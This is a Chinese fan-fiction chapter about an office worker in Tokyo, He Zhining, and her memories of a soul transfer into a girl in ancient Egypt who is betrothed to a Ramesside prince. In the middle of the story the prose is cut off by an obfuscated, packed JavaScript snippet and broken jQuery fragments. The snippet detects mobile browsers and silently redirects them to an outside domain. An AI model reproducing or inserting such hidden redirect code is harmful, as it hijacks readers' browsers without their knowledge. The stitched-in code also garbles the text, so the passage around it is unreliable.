何知宁从小到大都是个赶早不赶晚的人,即便是移居日本之后,这个习惯也没有改掉。
每天早上五点起床。六点半出门。卡着早高峰前一班地铁来到公司。装有玻璃外墙的电梯旁空无一人。
一切都如同往常。
何知宁走进电梯,按住开门键,让后她一步的男士得以走进电梯。
“早上好,何小姐。”
“早上好,七海先生。”
一如往常地,两个人互相打了招呼。
站在她旁边的男人全名是七海建人,身形高大魁梧,面庞棱角分明(好的那种),眼窝深邃,还有一头在亚洲人之间十分稀有的金发。根据他自己的说法,是因为他的祖父是丹麦人。考虑到七海建人那极具说服力的脸蛋,何知宁没怀疑过这种说法。
至于两个人怎么熟络起来的......同样都是赶早上班、踩点下班,次次都坐一部电梯,能不熟吗?
不过他们之间的关系也仅限于打个招呼。虽然两个人在同一家公司,但七海建人在证券部,何知宁在采购部。他们的部门并不在同一楼层。
但是今天好像有些不一样。
“何小姐,采购的工作好做吗?”
面对七海建人的问题,何知宁反问道:“你要听真话还是假话?”
“当然是真话。”
“糟透了。狗都不干。公司要跟你提调岗的话可别来,辞职也别来。”
她特地把“辞职”两个字咬的很重,因为这个部门最不缺的就是烂事,能劝退一个是一个。
“那你是……?”
何知宁知道他没恶意,只是性格直了一些。无所谓,她会向工资低头。
何知宁干脆利落地来了一声“汪”。
七海听了愣了一下,接着笑了,但那笑声转瞬即逝。他立刻切换回无情打工人的神情,说:“昨天晚上的时候我看到了,你把高桥部长从卡拉OK店抬出来。”
何知宁不禁“啊呀”了一声。其实绝大多数同事的聚餐她是不愿意参加的,但昨天有大客户来,她这个主要负责原料的采购员也被叫了去。结果就是她忙前忙后忙了个彻底,包括不限于倒酒、敬酒、分装沙拉。
卡拉OK那算是第二轮,一些大叔喝酒喝大了,兴致盎然地要求姑娘们表演才艺,大体就是脱衣秀那种。何知宁不肯,她也不希望其他姑娘做,于是主动给那群大叔灌起酒来,把他们喝地神志不清,但神志不清又造成新的问题。
高桥部长是她的直属领导。人还稍微可以一点,唯一的毛病是喝大了赖着不走,她只能在众目睽睽之下把他搬出店,扔进计程车。其实何知宁暗暗觉得那才是她获得提拔的直接理由,但她没提过,但没想到会被七海建人撞到。
“那是凌晨的时候了吧?”
“嗯......”七海建人不回答,只是沉吟。
显然是有什么难言之隐。何知宁也不是喜欢问别人隐私的人,说了一句“如果失眠的话,还是去医院看一下比较好”,便走下电梯。
正式的上班时间是早上九点,但就何知宁这个岗位的工作量,真要那时候来上班就等着加班吧。
接收生产发来的原料预用量,对照罐存数据,检查OA系统上有没有遗漏的需求,整合数目,确认之前订单的剩余发货量、合约的预估价,比较成本,与物流组确认在途原料情况......
一条龙下来,她已经机械性地不知道回了多少句“早上好”。
嘿,这就叫做专业打工人。
在何知宁敲敲打打,给供应商发送信息的时候,突然有一只手伸了过来,握住她的杯子。
她微微抬头。站在她面前的是一个面庞和肚子都溜圆的男人,是她在这个部门的前辈。有家室,孩子都已经上大学了。不知道为什么,最近好像把念头打到了她的身上。
他装模作样品了一口咖啡,大声赞美道:“啊,小何磨的咖啡就是好喝啊。我还是第一次喝到这样的味道呢。”
......哈?
这家伙是来耍猴戏的吗?
“这是速溶咖啡。”
嗯,这个男人当场就石化了。
“Nestlé(雀巢)啊,前辈没喝过吗?真意外......”何知宁没有停止攻击,继续阴阳怪气,“毕竟前辈是个好男人,挣的钱都归夫人管了吧?这也是没办法的事,儿子再过两年才到能够就业的年纪呀。”
那个男人被她说得晕头转向,哆哆嗦嗦说不出一句话。
如果发脾气就会显得他太小气,如果顺着她的话说下去就会显得厚脸皮,进也不是退也不是。
何知宁笑容满面,放下最后一根稻草。“欢迎来到21世纪,先生。”
那人终于理解留在这里只能找难堪的显示,缩着脖子,如一颗圆球一般溜走了。
看男人走了,坐在她旁边的同事,早川立刻凑上来,小声说道:“何,你真厉害,连北条前辈都不怕。”
北条是公司的老人了。为了搞好和达官显贵的关系,大公司里总会有那么几个前者的亲戚,啥也不做,但酒局少不了他们,主打一个用来沟通关系。北条就是这种人:官老爷派来的关系户子。
“还好吧,如果丢了工作,再找就是了。”
“呜哇,真帅!”早川的语气中满是羡慕,“以前只有在学校里才能看到你这样的人呢,什么都不害怕......”
何知宁在键盘上敲打的指尖一顿,说:“不,要说害怕的事情还是有的。”
“哎?什么什么?”
“抱歉,我去洗一下杯子。”
何知宁说着,捞起桌上的水杯,起身就往茶水间走。
这个水杯上印着皮卡丘的花纹。黄皮电气老鼠笑着的模样十分可爱,何知宁只要看一眼,心情就能跟着变好,所以完全不想扔。如果可以的话,她还想给水杯消个毒,但可惜没那条件。
她仔仔细细洗着水杯,看着水从她的掌心、指腹划过。
害怕的事。
她的思绪不由自主地跟流水一起流动。
何知宁当然有害怕的事。虽然提起来很突兀,但她其实是个道士。在她看来,东京,不,整个日本都是神秘的大舞台——就什么势力都能插一脚这点,她老家的确输得彻底——但就那些还不足以令她生畏。
令她感到害怕的,是她体内链接着的、被人传颂为“年”的怪物。因为它,何知宁吃了不少苦头。
说来话长。就结果来说,很长一段时间,何知宁的灵魂都处于一种非常不稳定的状态,她只要一入睡,灵魂就有可能脱离躯体,顺着时间的长河逆流而上,在一个相和的躯体中着陆。
这种说法有些恶心。故事还需要从她十四岁的时候说起。
她不过是在玉泉宫普普通通睡了一觉,再度睁眼时却要面对黄金色的异国他乡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256681|182084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
从结论上来说,她的灵魂附着到了一个年仅四岁的小丫头身上。她的名字是泰雅,因发烧高热而亡。当然,泰雅的父母并不知道自己的亲生女儿已逝,他们所能看到的只有奇迹恢复的女儿,虽然舌头不太灵活、脑袋也不太灵光,但这对于一个军官家庭来说算不上大事。
旧时光的父母待她不薄。当她用贫瘠的语言描述自己想去学堂的想法时,父亲第二天便把她扔进当地最好的文士学校。当她展现出对骑马射箭的兴趣时,母亲没有说任何苛责的话,反而鼓励她,为她请来老舅——他们都说他是全凯美特骑术最好的勇士——哪怕她是个瞥见寒锋就会瑟瑟发抖的“弱女子”。连她的亲弟弟都对她有别样的敬重,尤其是他求着她代做作业的时候。
老实说,何知宁对那样的家庭没有任何异议(因为她对自己的亲生父母毫无印象),甚至偶尔会想:“啊,如果是我的亲生父母一定也会这样对我吧。”
可惜,虽然人生最大的魅力就在于它的不确定性,但人世中的一些事情总会注定,一如孩子无法选择父母,无法选择自己是否诞生。
所以当她的年纪又来到一个十二岁,她的父母给她的生日礼物是一桩预定好的婚姻的时候,何知宁没有难过,没有震惊。泰雅只有一种“终于来了”的释然感。
不过当父亲说出结婚对象的身份时,她还是大脑空白。那时她就算算上现代的年纪也就二十岁,还没有练就一手炉火纯青的扑克脸,嘴巴先于大脑做出反应——哈?
“虽然是王子,但其实只是小儿子。”她的反应似乎给了父亲一个错误信号,对方赶忙开口寻找借口安慰她,“有我和你的弟弟在,他不会苛待你的。”
泰雅在心里白眼都已经翻上天了。
是啊,小儿子,就算排在他前面的兄长少说有十个(更何况前面现在活着的只有两个),历史也会保佑他是最后的赢家,因为他祖父叫拉美西斯,他父亲叫塞提,而他和那个坟头草都已经三丈高的老爷子一个名。
他会有一把伟大的椅子,一个古老的帝国。会有无数人赞扬称颂他的名,这赞美自他成为王储开始,并将持续到人类历史的尽头。
——那么我会是什么呢?
脑袋里的知识如流水般不受控制地汹涌而出,泰雅越想越觉得自己人生的尽头近在眼前。
她当然知道自己会是什么。她会是拉美西斯人生中最不显眼的装饰品中的一环,那可悲的五百分之一,更好笑的是,她在对方人生的占比恐怕还没到五百分之一。
但她没得选。
如果何知宁再冷心冷肺些,她大可一头吊死,或者自己抹了脖子......但那之后呢?法老手底下不缺将军,靠着下埃及军功上位的十八王朝更是如此,和他老爹同才干的难找,但稍次一些的估计两只手都数不过来。
泰雅死了,也会有其他人进火坑,只留下她爹妈和笨蛋弟弟们暗自难过。
哈,算我福薄。
她听到源自内心却无从发出的冷笑和滑出嘴边的应答。
父亲想要说些什么,但房门“咚”地如烟花般炸开。他们一起望过去,站在门口的是一名少年。他的面貌与泰雅有四成相似,不过泰雅承袭了母亲的鹅蛋脸,有着流畅的下颌线,少年则与他们的父亲一样,顶着一张方方正正的面孔,顺便他的性格就和他的长相一样有棱有角。
“不行!姐姐不能嫁给那个王子!”